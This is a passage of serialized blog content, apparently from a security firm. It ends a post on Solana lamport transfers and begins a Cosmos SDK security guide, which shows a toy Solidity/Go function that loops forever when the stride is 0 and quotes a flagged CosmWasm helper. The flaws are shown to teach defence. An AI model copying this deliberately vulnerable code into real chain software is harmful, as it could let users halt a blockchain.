accounts",{"type":26,"value":74047}," altogether.",{"type":20,"tag":29,"props":74049,"children":74050},{},[74051],{"type":26,"value":74052},"A clean approach would be to store the refund lamports in a PDA vault owned by your program. This prevents your logic from depending on accounts you don’t have complete control over, and sidesteps any risk of write-demotion or future account restrictions.",{"type":20,"tag":21,"props":74054,"children":74056},{"id":74055},"final-thoughts",[74057],{"type":26,"value":74058},"Final Thoughts",{"type":20,"tag":29,"props":74060,"children":74061},{},[74062],{"type":26,"value":74063},"Transferring lamports on Solana is not always straightforward and carries potential risks. Account constraints alone are insufficient to ensure safety, especially when dealing with runtime-specific edge cases.",{"type":20,"tag":29,"props":74065,"children":74066},{},[74067],{"type":26,"value":74068},"We can safely transfer lamports to an account under the following conditions:",{"type":20,"tag":15089,"props":74070,"children":74071},{},[74072,74077,74082],{"type":20,"tag":72,"props":74073,"children":74074},{},[74075],{"type":26,"value":74076},"It's not executable.",{"type":20,"tag":72,"props":74078,"children":74079},{},[74080],{"type":26,"value":74081},"Its balance, after the transfer, remains rent-exempt.",{"type":20,"tag":72,"props":74083,"children":74084},{},[74085],{"type":26,"value":74086},"It's not a reserved account.",{"type":20,"tag":29,"props":74088,"children":74089},{},[74090],{"type":26,"value":74091},"This issue is not purely theoretical; it has impacted real-world programs. One significant case was recently reported to Jito via the bug bounty, which could have resulted in incorrect tip payments.",{"type":20,"tag":1226,"props":74093,"children":74094},{},[74095],{"type":26,"value":1230},{"title":7,"searchDepth":356,"depth":356,"links":74097},[74098,74099,74100,74106],{"id":23,"depth":356,"text":27},{"id":69480,"depth":356,"text":69483},{"id":70587,"depth":356,"text":70590,"children":74101},[74102,74103,74105],{"id":70593,"depth":365,"text":70596},{"id":71280,"depth":365,"text":74104},"Bug 2: Writable but Untouchable — set_lamports Fails",{"id":72585,"depth":365,"text":72588},{"id":74055,"depth":356,"text":74058},"content:blog:2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol",{"_path":74111,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":74112,"description":74113,"date":74114,"author":74115,"image":74116,"isFeatured":15,"onBlogPage":15,"tags":74118,"body":74121,"_type":1242,"_id":88006,"_source":1244,"_file":88007,"_stem":88008,"_extension":1247},"/blog/2025-06-10-cosmos-security","Cosmos Security: An Otter's Guide","From infinite loops and map determinism to AnteHandler missteps and storage key collisions, we highlight real-world vulnerabilities and actionable advice for building safer Cosmos-based projects.","2025-06-10","james",{"src":74117,"width":12024,"height":12024},"/posts/cosmos-security/title.png",[74119,74120],"cosmos-sdk","security",{"type":17,"children":74122,"toc":87984},[74123,74127,74132,74137,74143,74148,74153,74158,74419,74908,74927,74932,74937,74942,74948,74953,74988,74998,75505,75525,75538,75544,75549,75554,75795,75800,75808,75820,76182,76187,76192,76228,76237,76663,76684,76690,76710,76731,76750,76782,76794,76806,77460,77488,77497,77937,77964,77984,77989,78010,78059,78068,79300,79328,79334,79339,79344,79364,79651,79685,79866,79871,79876,79920,79929,81121,81372,81385,81391,81425,81430,81493,81498,81518,81537,81549,81568,82260,82265,82270,82298,82307,83192,83219,83225,83245,83250,83263,83437,83450,83541,83546,83554,83564,83714,83719,83739,83747,83752,84150,84162,84167,84208,84219,84239,84547,84552,85477,85489,85497,85502,86495,86500,86512,86532,86551,87465,87522,87628,87640,87645,87650,87678,87687,87913,87939,87952,87966,87970,87975,87980],{"type":20,"tag":21,"props":74124,"children":74125},{"id":23},[74126],{"type":26,"value":27},{"type":20,"tag":29,"props":74128,"children":74129},{},[74130],{"type":26,"value":74131},"The Cosmos SDK is an \"L1 toolkit\" for developers. It provides an open-source tool that enhances the ability to build application-specific L1 chains, all while prioritizing flexibility and control over the entire runtime environment. Unfortunately, with the convenience of the Cosmos SDK, security can be an oversight.",{"type":20,"tag":29,"props":74133,"children":74134},{},[74135],{"type":26,"value":74136},"In this comprehensive blog post, we break down security issues that are often overseen by developers, supported by real-world examples from live projects. Our goal is to provide a practical exploration of security vulnerabilities while also offering insights on how developers can identify and address these issues on their own.",{"type":20,"tag":21,"props":74138,"children":74140},{"id":74139},"its-loopin-time",[74141],{"type":26,"value":74142},"It's Loopin' Time",{"type":20,"tag":29,"props":74144,"children":74145},{},[74146],{"type":26,"value":74147},"There are notable differences in building app-specific L1s using the SDK and building contracts on established L1 chains. It is especially crucial to recognize that maintaining the stability of a blockchain is dependent on the developer.",{"type":20,"tag":29,"props":74149,"children":74150},{},[74151],{"type":26,"value":74152},"Below, we begin to demonstrate the differences between writing smart contracts with Solidity vs developing L1 with the Cosmos SDK.",{"type":20,"tag":29,"props":74154,"children":74155},{},[74156],{"type":26,"value":74157},"Here is a simple example for reference:",{"type":20,"tag":305,"props":74159,"children":74161},{"code":74160,"language":309,"meta":7,"className":307,"style":7},"function sumWithStride(\n uint64 start,\n uint64 stride,\n uint64[] memory arr\n) public returns (uint64) {\n uint64 idx = start;\n uint64 sum = 0;\n uint64 end = arr.length;\n\n while (idx \u003C end) {\n sum += arr[idx];\n idx += stride;\n }\n return sum;\n}\n",[74162],{"type":20,"tag":119,"props":74163,"children":74164},{"__ignoreMap":7},[74165,74181,74198,74214,74236,74265,74286,74310,74331,74338,74359,74376,74393,74400,74412],{"type":20,"tag":315,"props":74166,"children":74167},{"class":317,"line":318},[74168,74172,74177],{"type":20,"tag":315,"props":74169,"children":74170},{"style":541},[74171],{"type":26,"value":615},{"type":20,"tag":315,"props":74173,"children":74174},{"style":345},[74175],{"type":26,"value":74176}," sumWithStride",{"type":20,"tag":315,"props":74178,"children":74179},{"style":328},[74180],{"type":26,"value":353},{"type":20,"tag":315,"props":74182,"children":74183},{"class":317,"line":356},[74184,74189,74194],{"type":20,"tag":315,"props":74185,"children":74186},{"style":322},[74187],{"type":26,"value":74188}," uint64",{"type":20,"tag":315,"props":74190,"children":74191},{"style":635},[74192],{"type":26,"value":74193}," start",{"type":20,"tag":315,"props":74195,"children":74196},{"style":328},[74197],{"type":26,"value":643},{"type":20,"tag":315,"props":74199,"children":74200},{"class":317,"line":365},[74201,74205,74210],{"type":20,"tag":315,"props":74202,"children":74203},{"style":322},[74204],{"type":26,"value":74188},{"type":20,"tag":315,"props":74206,"children":74207},{"style":635},[74208],{"type":26,"value":74209}," stride",{"type":20,"tag":315,"props":74211,"children":74212},{"style":328},[74213],{"type":26,"value":643},{"type":20,"tag":315,"props":74215,"children":74216},{"class":317,"line":374},[74217,74221,74226,74231],{"type":20,"tag":315,"props":74218,"children":74219},{"style":322},[74220],{"type":26,"value":74188},{"type":20,"tag":315,"props":74222,"children":74223},{"style":328},[74224],{"type":26,"value":74225},"[] ",{"type":20,"tag":315,"props":74227,"children":74228},{"style":541},[74229],{"type":26,"value":74230},"memory",{"type":20,"tag":315,"props":74232,"children":74233},{"style":635},[74234],{"type":26,"value":74235}," arr\n",{"type":20,"tag":315,"props":74237,"children":74238},{"class":317,"line":383},[74239,74243,74247,74252,74256,74261],{"type":20,"tag":315,"props":74240,"children":74241},{"style":328},[74242],{"type":26,"value":1468},{"type":20,"tag":315,"props":74244,"children":74245},{"style":541},[74246],{"type":26,"value":59929},{"type":20,"tag":315,"props":74248,"children":74249},{"style":525},[74250],{"type":26,"value":74251}," returns",{"type":20,"tag":315,"props":74253,"children":74254},{"style":328},[74255],{"type":26,"value":463},{"type":20,"tag":315,"props":74257,"children":74258},{"style":322},[74259],{"type":26,"value":74260},"uint64",{"type":20,"tag":315,"props":74262,"children":74263},{"style":328},[74264],{"type":26,"value":549},{"type":20,"tag":315,"props":74266,"children":74267},{"class":317,"line":407},[74268,74272,74277,74281],{"type":20,"tag":315,"props":74269,"children":74270},{"style":322},[74271],{"type":26,"value":74188},{"type":20,"tag":315,"props":74273,"children":74274},{"style":328},[74275],{"type":26,"value":74276}," idx ",{"type":20,"tag":315,"props":74278,"children":74279},{"style":334},[74280],{"type":26,"value":337},{"type":20,"tag":315,"props":74282,"children":74283},{"style":328},[74284],{"type":26,"value":74285}," start;\n",{"type":20,"tag":315,"props":74287,"children":74288},{"class":317,"line":421},[74289,74293,74298,74302,74306],{"type":20,"tag":315,"props":74290,"children":74291},{"style":322},[74292],{"type":26,"value":74188},{"type":20,"tag":315,"props":74294,"children":74295},{"style":328},[74296],{"type":26,"value":74297}," sum ",{"type":20,"tag":315,"props":74299,"children":74300},{"style":334},[74301],{"type":26,"value":337},{"type":20,"tag":315,"props":74303,"children":74304},{"style":765},[74305],{"type":26,"value":985},{"type":20,"tag":315,"props":74307,"children":74308},{"style":328},[74309],{"type":26,"value":1405},{"type":20,"tag":315,"props":74311,"children":74312},{"class":317,"line":430},[74313,74317,74322,74326],{"type":20,"tag":315,"props":74314,"children":74315},{"style":322},[74316],{"type":26,"value":74188},{"type":20,"tag":315,"props":74318,"children":74319},{"style":328},[74320],{"type":26,"value":74321}," end ",{"type":20,"tag":315,"props":74323,"children":74324},{"style":334},[74325],{"type":26,"value":337},{"type":20,"tag":315,"props":74327,"children":74328},{"style":328},[74329],{"type":26,"value":74330}," arr.length;\n",{"type":20,"tag":315,"props":74332,"children":74333},{"class":317,"line":453},[74334],{"type":20,"tag":315,"props":74335,"children":74336},{"emptyLinePlaceholder":15},[74337],{"type":26,"value":427},{"type":20,"tag":315,"props":74339,"children":74340},{"class":317,"line":486},[74341,74345,74350,74354],{"type":20,"tag":315,"props":74342,"children":74343},{"style":525},[74344],{"type":26,"value":62628},{"type":20,"tag":315,"props":74346,"children":74347},{"style":328},[74348],{"type":26,"value":74349}," (idx ",{"type":20,"tag":315,"props":74351,"children":74352},{"style":334},[74353],{"type":26,"value":4199},{"type":20,"tag":315,"props":74355,"children":74356},{"style":328},[74357],{"type":26,"value":74358}," end) {\n",{"type":20,"tag":315,"props":74360,"children":74361},{"class":317,"line":499},[74362,74367,74371],{"type":20,"tag":315,"props":74363,"children":74364},{"style":328},[74365],{"type":26,"value":74366}," sum ",{"type":20,"tag":315,"props":74368,"children":74369},{"style":334},[74370],{"type":26,"value":66693},{"type":20,"tag":315,"props":74372,"children":74373},{"style":328},[74374],{"type":26,"value":74375}," arr[idx];\n",{"type":20,"tag":315,"props":74377,"children":74378},{"class":317,"line":513},[74379,74384,74388],{"type":20,"tag":315,"props":74380,"children":74381},{"style":328},[74382],{"type":26,"value":74383}," idx ",{"type":20,"tag":315,"props":74385,"children":74386},{"style":334},[74387],{"type":26,"value":66693},{"type":20,"tag":315,"props":74389,"children":74390},{"style":328},[74391],{"type":26,"value":74392}," stride;\n",{"type":20,"tag":315,"props":74394,"children":74395},{"class":317,"line":521},[74396],{"type":20,"tag":315,"props":74397,"children":74398},{"style":328},[74399],{"type":26,"value":1736},{"type":20,"tag":315,"props":74401,"children":74402},{"class":317,"line":552},[74403,74407],{"type":20,"tag":315,"props":74404,"children":74405},{"style":525},[74406],{"type":26,"value":731},{"type":20,"tag":315,"props":74408,"children":74409},{"style":328},[74410],{"type":26,"value":74411}," sum;\n",{"type":20,"tag":315,"props":74413,"children":74414},{"class":317,"line":571},[74415],{"type":20,"tag":315,"props":74416,"children":74417},{"style":328},[74418],{"type":26,"value":577},{"type":20,"tag":305,"props":74420,"children":74424},{"code":74421,"language":74422,"meta":7,"className":74423,"style":7},"type MsgSumWithStrideParams struct {\n Start uint64\n Stride uint64\n Arr []uint64\n}\n\ntype MsgSumWithStrideResponse struct {\n Sum uint64\n}\n\nfunc (ms msgServer) SumWithStride(\n goCtx context.Context,\n msg *MsgSumWithStrideParams,\n) (*MsgSumWithStrideResponse, error) {\n sum := uint64(0)\n end := uint64(len(msg.Arr))\n for idx := msg.Start; idx \u003C end; idx += msg.Stride {\n sum += msg.Arr[idx]\n }\n return &MsgSumWithStrideResponse{Sum: sum}, nil\n}\n","go","language-go shiki shiki-themes slack-dark",[74425],{"type":20,"tag":119,"props":74426,"children":74427},{"__ignoreMap":7},[74428,74448,74461,74473,74491,74498,74505,74525,74537,74544,74551,74586,74612,74633,74662,74692,74737,74814,74850,74857,74901],{"type":20,"tag":315,"props":74429,"children":74430},{"class":317,"line":318},[74431,74435,74440,74444],{"type":20,"tag":315,"props":74432,"children":74433},{"style":541},[74434],{"type":26,"value":31170},{"type":20,"tag":315,"props":74436,"children":74437},{"style":322},[74438],{"type":26,"value":74439}," MsgSumWithStrideParams",{"type":20,"tag":315,"props":74441,"children":74442},{"style":541},[74443],{"type":26,"value":19555},{"type":20,"tag":315,"props":74445,"children":74446},{"style":328},[74447],{"type":26,"value":1092},{"type":20,"tag":315,"props":74449,"children":74450},{"class":317,"line":356},[74451,74456],{"type":20,"tag":315,"props":74452,"children":74453},{"style":635},[74454],{"type":26,"value":74455}," Start",{"type":20,"tag":315,"props":74457,"children":74458},{"style":322},[74459],{"type":26,"value":74460}," uint64\n",{"type":20,"tag":315,"props":74462,"children":74463},{"class":317,"line":365},[74464,74469],{"type":20,"tag":315,"props":74465,"children":74466},{"style":635},[74467],{"type":26,"value":74468}," Stride",{"type":20,"tag":315,"props":74470,"children":74471},{"style":322},[74472],{"type":26,"value":74460},{"type":20,"tag":315,"props":74474,"children":74475},{"class":317,"line":374},[74476,74481,74486],{"type":20,"tag":315,"props":74477,"children":74478},{"style":635},[74479],{"type":26,"value":74480}," Arr",{"type":20,"tag":315,"props":74482,"children":74483},{"style":328},[74484],{"type":26,"value":74485}," []",{"type":20,"tag":315,"props":74487,"children":74488},{"style":322},[74489],{"type":26,"value":74490},"uint64\n",{"type":20,"tag":315,"props":74492,"children":74493},{"class":317,"line":383},[74494],{"type":20,"tag":315,"props":74495,"children":74496},{"style":328},[74497],{"type":26,"value":577},{"type":20,"tag":315,"props":74499,"children":74500},{"class":317,"line":407},[74501],{"type":20,"tag":315,"props":74502,"children":74503},{"emptyLinePlaceholder":15},[74504],{"type":26,"value":427},{"type":20,"tag":315,"props":74506,"children":74507},{"class":317,"line":421},[74508,74512,74517,74521],{"type":20,"tag":315,"props":74509,"children":74510},{"style":541},[74511],{"type":26,"value":31170},{"type":20,"tag":315,"props":74513,"children":74514},{"style":322},[74515],{"type":26,"value":74516}," MsgSumWithStrideResponse",{"type":20,"tag":315,"props":74518,"children":74519},{"style":541},[74520],{"type":26,"value":19555},{"type":20,"tag":315,"props":74522,"children":74523},{"style":328},[74524],{"type":26,"value":1092},{"type":20,"tag":315,"props":74526,"children":74527},{"class":317,"line":430},[74528,74533],{"type":20,"tag":315,"props":74529,"children":74530},{"style":635},[74531],{"type":26,"value":74532}," Sum",{"type":20,"tag":315,"props":74534,"children":74535},{"style":322},[74536],{"type":26,"value":74460},{"type":20,"tag":315,"props":74538,"children":74539},{"class":317,"line":453},[74540],{"type":20,"tag":315,"props":74541,"children":74542},{"style":328},[74543],{"type":26,"value":577},{"type":20,"tag":315,"props":74545,"children":74546},{"class":317,"line":486},[74547],{"type":20,"tag":315,"props":74548,"children":74549},{"emptyLinePlaceholder":15},[74550],{"type":26,"value":427},{"type":20,"tag":315,"props":74552,"children":74553},{"class":317,"line":499},[74554,74559,74563,74568,74573,74577,74582],{"type":20,"tag":315,"props":74555,"children":74556},{"style":541},[74557],{"type":26,"value":74558},"func",{"type":20,"tag":315,"props":74560,"children":74561},{"style":328},[74562],{"type":26,"value":463},{"type":20,"tag":315,"props":74564,"children":74565},{"style":635},[74566],{"type":26,"value":74567},"ms ",{"type":20,"tag":315,"props":74569,"children":74570},{"style":322},[74571],{"type":26,"value":74572},"msgServer",{"type":20,"tag":315,"props":74574,"children":74575},{"style":328},[74576],{"type":26,"value":1468},{"type":20,"tag":315,"props":74578,"children":74579},{"style":345},[74580],{"type":26,"value":74581},"SumWithStride",{"type":20,"tag":315,"props":74583,"children":74584},{"style":328},[74585],{"type":26,"value":353},{"type":20,"tag":315,"props":74587,"children":74588},{"class":317,"line":513},[74589,74594,74599,74603,74608],{"type":20,"tag":315,"props":74590,"children":74591},{"style":635},[74592],{"type":26,"value":74593}," goCtx",{"type":20,"tag":315,"props":74595,"children":74596},{"style":322},[74597],{"type":26,"value":74598}," context",{"type":20,"tag":315,"props":74600,"children":74601},{"style":328},[74602],{"type":26,"value":61},{"type":20,"tag":315,"props":74604,"children":74605},{"style":322},[74606],{"type":26,"value":74607},"Context",{"type":20,"tag":315,"props":74609,"children":74610},{"style":328},[74611],{"type":26,"value":643},{"type":20,"tag":315,"props":74613,"children":74614},{"class":317,"line":521},[74615,74620,74624,74629],{"type":20,"tag":315,"props":74616,"children":74617},{"style":635},[74618],{"type":26,"value":74619}," msg",{"type":20,"tag":315,"props":74621,"children":74622},{"style":334},[74623],{"type":26,"value":8216},{"type":20,"tag":315,"props":74625,"children":74626},{"style":322},[74627],{"type":26,"value":74628},"MsgSumWithStrideParams",{"type":20,"tag":315,"props":74630,"children":74631},{"style":328},[74632],{"type":26,"value":643},{"type":20,"tag":315,"props":74634,"children":74635},{"class":317,"line":552},[74636,74641,74645,74650,74654,74658],{"type":20,"tag":315,"props":74637,"children":74638},{"style":328},[74639],{"type":26,"value":74640},") (",{"type":20,"tag":315,"props":74642,"children":74643},{"style":334},[74644],{"type":26,"value":901},{"type":20,"tag":315,"props":74646,"children":74647},{"style":322},[74648],{"type":26,"value":74649},"MsgSumWithStrideResponse",{"type":20,"tag":315,"props":74651,"children":74652},{"style":328},[74653],{"type":26,"value":44},{"type":20,"tag":315,"props":74655,"children":74656},{"style":322},[74657],{"type":26,"value":13264},{"type":20,"tag":315,"props":74659,"children":74660},{"style":328},[74661],{"type":26,"value":549},{"type":20,"tag":315,"props":74663,"children":74664},{"class":317,"line":571},[74665,74670,74675,74680,74684,74688],{"type":20,"tag":315,"props":74666,"children":74667},{"style":635},[74668],{"type":26,"value":74669}," sum",{"type":20,"tag":315,"props":74671,"children":74672},{"style":334},[74673],{"type":26,"value":74674}," :=",{"type":20,"tag":315,"props":74676,"children":74677},{"style":322},[74678],{"type":26,"value":74679}," uint64",{"type":20,"tag":315,"props":74681,"children":74682},{"style":328},[74683],{"type":26,"value":1049},{"type":20,"tag":315,"props":74685,"children":74686},{"style":765},[74687],{"type":26,"value":1063},{"type":20,"tag":315,"props":74689,"children":74690},{"style":328},[74691],{"type":26,"value":380},{"type":20,"tag":315,"props":74693,"children":74694},{"class":317,"line":2031},[74695,74700,74704,74708,74712,74716,74720,74724,74728,74733],{"type":20,"tag":315,"props":74696,"children":74697},{"style":635},[74698],{"type":26,"value":74699}," end",{"type":20,"tag":315,"props":74701,"children":74702},{"style":334},[74703],{"type":26,"value":74674},{"type":20,"tag":315,"props":74705,"children":74706},{"style":322},[74707],{"type":26,"value":74679},{"type":20,"tag":315,"props":74709,"children":74710},{"style":328},[74711],{"type":26,"value":1049},{"type":20,"tag":315,"props":74713,"children":74714},{"style":345},[74715],{"type":26,"value":7537},{"type":20,"tag":315,"props":74717,"children":74718},{"style":328},[74719],{"type":26,"value":1049},{"type":20,"tag":315,"props":74721,"children":74722},{"style":635},[74723],{"type":26,"value":56199},{"type":20,"tag":315,"props":74725,"children":74726},{"style":328},[74727],{"type":26,"value":61},{"type":20,"tag":315,"props":74729,"children":74730},{"style":635},[74731],{"type":26,"value":74732},"Arr",{"type":20,"tag":315,"props":74734,"children":74735},{"style":328},[74736],{"type":26,"value":18116},{"type":20,"tag":315,"props":74738,"children":74739},{"class":317,"line":2053},[74740,74744,74749,74753,74758,74762,74767,74771,74776,74780,74785,74789,74793,74797,74801,74805,74810],{"type":20,"tag":315,"props":74741,"children":74742},{"style":525},[74743],{"type":26,"value":1413},{"type":20,"tag":315,"props":74745,"children":74746},{"style":635},[74747],{"type":26,"value":74748}," idx",{"type":20,"tag":315,"props":74750,"children":74751},{"style":334},[74752],{"type":26,"value":74674},{"type":20,"tag":315,"props":74754,"children":74755},{"style":635},[74756],{"type":26,"value":74757}," msg",{"type":20,"tag":315,"props":74759,"children":74760},{"style":328},[74761],{"type":26,"value":61},{"type":20,"tag":315,"props":74763,"children":74764},{"style":635},[74765],{"type":26,"value":74766},"Start",{"type":20,"tag":315,"props":74768,"children":74769},{"style":328},[74770],{"type":26,"value":15629},{"type":20,"tag":315,"props":74772,"children":74773},{"style":635},[74774],{"type":26,"value":74775},"idx",{"type":20,"tag":315,"props":74777,"children":74778},{"style":334},[74779],{"type":26,"value":7115},{"type":20,"tag":315,"props":74781,"children":74782},{"style":635},[74783],{"type":26,"value":74784}," end",{"type":20,"tag":315,"props":74786,"children":74787},{"style":328},[74788],{"type":26,"value":15629},{"type":20,"tag":315,"props":74790,"children":74791},{"style":635},[74792],{"type":26,"value":74775},{"type":20,"tag":315,"props":74794,"children":74795},{"style":334},[74796],{"type":26,"value":13465},{"type":20,"tag":315,"props":74798,"children":74799},{"style":635},[74800],{"type":26,"value":74757},{"type":20,"tag":315,"props":74802,"children":74803},{"style":328},[74804],{"type":26,"value":61},{"type":20,"tag":315,"props":74806,"children":74807},{"style":635},[74808],{"type":26,"value":74809},"Stride",{"type":20,"tag":315,"props":74811,"children":74812},{"style":328},[74813],{"type":26,"value":1092},{"type":20,"tag":315,"props":74815,"children":74816},{"class":317,"line":2061},[74817,74822,74826,74830,74834,74838,74842,74846],{"type":20,"tag":315,"props":74818,"children":74819},{"style":635},[74820],{"type":26,"value":74821}," sum",{"type":20,"tag":315,"props":74823,"children":74824},{"style":334},[74825],{"type":26,"value":13465},{"type":20,"tag":315,"props":74827,"children":74828},{"style":635},[74829],{"type":26,"value":74757},{"type":20,"tag":315,"props":74831,"children":74832},{"style":328},[74833],{"type":26,"value":61},{"type":20,"tag":315,"props":74835,"children":74836},{"style":635},[74837],{"type":26,"value":74732},{"type":20,"tag":315,"props":74839,"children":74840},{"style":328},[74841],{"type":26,"value":2117},{"type":20,"tag":315,"props":74843,"children":74844},{"style":635},[74845],{"type":26,"value":74775},{"type":20,"tag":315,"props":74847,"children":74848},{"style":328},[74849],{"type":26,"value":10173},{"type":20,"tag":315,"props":74851,"children":74852},{"class":317,"line":2070},[74853],{"type":20,"tag":315,"props":74854,"children":74855},{"style":328},[74856],{"type":26,"value":1736},{"type":20,"tag":315,"props":74858,"children":74859},{"class":317,"line":2139},[74860,74864,74868,74872,74877,74882,74886,74891,74896],{"type":20,"tag":315,"props":74861,"children":74862},{"style":525},[74863],{"type":26,"value":731},{"type":20,"tag":315,"props":74865,"children":74866},{"style":334},[74867],{"type":26,"value":5536},{"type":20,"tag":315,"props":74869,"children":74870},{"style":322},[74871],{"type":26,"value":74649},{"type":20,"tag":315,"props":74873,"children":74874},{"style":328},[74875],{"type":26,"value":74876},"{",{"type":20,"tag":315,"props":74878,"children":74879},{"style":635},[74880],{"type":26,"value":74881},"Sum",{"type":20,"tag":315,"props":74883,"children":74884},{"style":328},[74885],{"type":26,"value":13732},{"type":20,"tag":315,"props":74887,"children":74888},{"style":635},[74889],{"type":26,"value":74890},"sum",{"type":20,"tag":315,"props":74892,"children":74893},{"style":328},[74894],{"type":26,"value":74895},"}, ",{"type":20,"tag":315,"props":74897,"children":74898},{"style":541},[74899],{"type":26,"value":74900},"nil\n",{"type":20,"tag":315,"props":74902,"children":74903},{"class":317,"line":2147},[74904],{"type":20,"tag":315,"props":74905,"children":74906},{"style":328},[74907],{"type":26,"value":577},{"type":20,"tag":29,"props":74909,"children":74910},{},[74911,74913,74918,74919,74925],{"type":26,"value":74912},"The provided Solidity / Cosmos snippets feature a public function that calculates the sums of an array using a provided starting ",{"type":20,"tag":119,"props":74914,"children":74916},{"className":74915},[],[74917],{"type":26,"value":74775},{"type":26,"value":5709},{"type":20,"tag":119,"props":74920,"children":74922},{"className":74921},[],[74923],{"type":26,"value":74924},"stride",{"type":26,"value":74926},". It is crucial to note that this function lacks robustness. A keen observer might have already identified that if the user supplies a stride value of 0, the code will result in an infinite loop.",{"type":20,"tag":29,"props":74928,"children":74929},{},[74930],{"type":26,"value":74931},"While an infinite loop is not ideal for Solidity, it may still be tolerable. The underlying blockchain on which a smart contract operates is responsible for monitoring the gas and computation budget. It will intervene and terminate the execution at a certain point. Interestingly, those types of \"unhandled error\" patterns are quite common occurrences in contracts.",{"type":20,"tag":29,"props":74933,"children":74934},{},[74935],{"type":26,"value":74936},"However, the same logic does not directly apply to Cosmos. In Cosmos, users are responsible for implementing the entire L1, and there is no underlying computation budget tracker that automatically stops code execution. As a result, any potential logic DoS or infinite loop can directly lead to the custom Cosmos L1 chain halting or stalling.",{"type":20,"tag":29,"props":74938,"children":74939},{},[74940],{"type":26,"value":74941},"This toy scenario captures the importance of attention to error handling, edge cases, and overall robustness in Cosmos.",{"type":20,"tag":219,"props":74943,"children":74945},{"id":74944},"real-world-examples",[74946],{"type":26,"value":74947},"Real-World Examples",{"type":20,"tag":29,"props":74949,"children":74950},{},[74951],{"type":26,"value":74952},"Now, let's examine a few real-world instances.",{"type":20,"tag":29,"props":74954,"children":74955},{},[74956,74958,74964,74965,74971,74973,74979,74981,74987],{"type":26,"value":74957},"In the case of ",{"type":20,"tag":35,"props":74959,"children":74962},{"href":74960,"rel":74961},"https://github.com/JumpCrypto/security-research/blob/e900a400f763075bdae161f4fd6e36d70da1d844/advisories/2023-003-cosmwasm.md",[39],[74963],{"type":26,"value":16095},{"type":26,"value":4852},{"type":20,"tag":119,"props":74966,"children":74968},{"className":74967},[],[74969],{"type":26,"value":74970},"CosmWasm",{"type":26,"value":74972}," bug, the helper method ",{"type":20,"tag":119,"props":74974,"children":74976},{"className":74975},[],[74977],{"type":26,"value":74978},"write_to_contract",{"type":26,"value":74980}," negligently calls the untrusted Wasm function ",{"type":20,"tag":119,"props":74982,"children":74984},{"className":74983},[],[74985],{"type":26,"value":74986},"\"allocate\"",{"type":26,"value":61},{"type":20,"tag":29,"props":74989,"children":74990},{},[74991],{"type":20,"tag":35,"props":74992,"children":74995},{"href":74993,"rel":74994},"https://github.com/CosmWasm/cosmwasm/blob/db426f9b15eabf18359df62878847bbaa7cb85ef/packages/vm/src/imports.rs#L409",[39],[74996],{"type":26,"value":74997},"Permalink for snippet",{"type":20,"tag":305,"props":74999,"children":75001},{"code":75000,"language":1359,"meta":7,"className":1360,"style":7},"fn write_to_contract\u003CA: BackendApi, S: Storage, Q: Querier>(\n env: &Environment\u003CA, S, Q>,\n input: &[u8],\n) -> VmResult\u003Cu32> {\n let out_size = to_u32(input.len())?;\n let result = env.call_function1(\"allocate\", &[out_size.into()])?;\n let target_ptr = ref_to_u32(&result)?;\n if target_ptr == 0 {\n return Err(CommunicationError::zero_address().into());\n }\n write_region(&env.memory(), target_ptr, input)?;\n Ok(target_ptr)\n}\n",[75002],{"type":20,"tag":119,"props":75003,"children":75004},{"__ignoreMap":7},[75005,75074,75122,75150,75179,75228,75302,75347,75370,75415,75422,75479,75498],{"type":20,"tag":315,"props":75006,"children":75007},{"class":317,"line":318},[75008,75012,75017,75021,75026,75030,75035,75039,75043,75047,75052,75056,75061,75065,75070],{"type":20,"tag":315,"props":75009,"children":75010},{"style":541},[75011],{"type":26,"value":18670},{"type":20,"tag":315,"props":75013,"children":75014},{"style":345},[75015],{"type":26,"value":75016}," write_to_contract",{"type":20,"tag":315,"props":75018,"children":75019},{"style":328},[75020],{"type":26,"value":4199},{"type":20,"tag":315,"props":75022,"children":75023},{"style":322},[75024],{"type":26,"value":75025},"A",{"type":20,"tag":315,"props":75027,"children":75028},{"style":334},[75029],{"type":26,"value":2884},{"type":20,"tag":315,"props":75031,"children":75032},{"style":322},[75033],{"type":26,"value":75034}," BackendApi",{"type":20,"tag":315,"props":75036,"children":75037},{"style":328},[75038],{"type":26,"value":44},{"type":20,"tag":315,"props":75040,"children":75041},{"style":322},[75042],{"type":26,"value":20454},{"type":20,"tag":315,"props":75044,"children":75045},{"style":334},[75046],{"type":26,"value":2884},{"type":20,"tag":315,"props":75048,"children":75049},{"style":322},[75050],{"type":26,"value":75051}," Storage",{"type":20,"tag":315,"props":75053,"children":75054},{"style":328},[75055],{"type":26,"value":44},{"type":20,"tag":315,"props":75057,"children":75058},{"style":322},[75059],{"type":26,"value":75060},"Q",{"type":20,"tag":315,"props":75062,"children":75063},{"style":334},[75064],{"type":26,"value":2884},{"type":20,"tag":315,"props":75066,"children":75067},{"style":322},[75068],{"type":26,"value":75069}," Querier",{"type":20,"tag":315,"props":75071,"children":75072},{"style":328},[75073],{"type":26,"value":4983},{"type":20,"tag":315,"props":75075,"children":75076},{"class":317,"line":356},[75077,75081,75085,75089,75094,75098,75102,75106,75110,75114,75118],{"type":20,"tag":315,"props":75078,"children":75079},{"style":635},[75080],{"type":26,"value":2231},{"type":20,"tag":315,"props":75082,"children":75083},{"style":334},[75084],{"type":26,"value":2884},{"type":20,"tag":315,"props":75086,"children":75087},{"style":334},[75088],{"type":26,"value":5536},{"type":20,"tag":315,"props":75090,"children":75091},{"style":322},[75092],{"type":26,"value":75093},"Environment",{"type":20,"tag":315,"props":75095,"children":75096},{"style":328},[75097],{"type":26,"value":4199},{"type":20,"tag":315,"props":75099,"children":75100},{"style":322},[75101],{"type":26,"value":75025},{"type":20,"tag":315,"props":75103,"children":75104},{"style":328},[75105],{"type":26,"value":44},{"type":20,"tag":315,"props":75107,"children":75108},{"style":322},[75109],{"type":26,"value":20454},{"type":20,"tag":315,"props":75111,"children":75112},{"style":328},[75113],{"type":26,"value":44},{"type":20,"tag":315,"props":75115,"children":75116},{"style":322},[75117],{"type":26,"value":75060},{"type":20,"tag":315,"props":75119,"children":75120},{"style":328},[75121],{"type":26,"value":4532},{"type":20,"tag":315,"props":75123,"children":75124},{"class":317,"line":365},[75125,75130,75134,75138,75142,75146],{"type":20,"tag":315,"props":75126,"children":75127},{"style":635},[75128],{"type":26,"value":75129}," 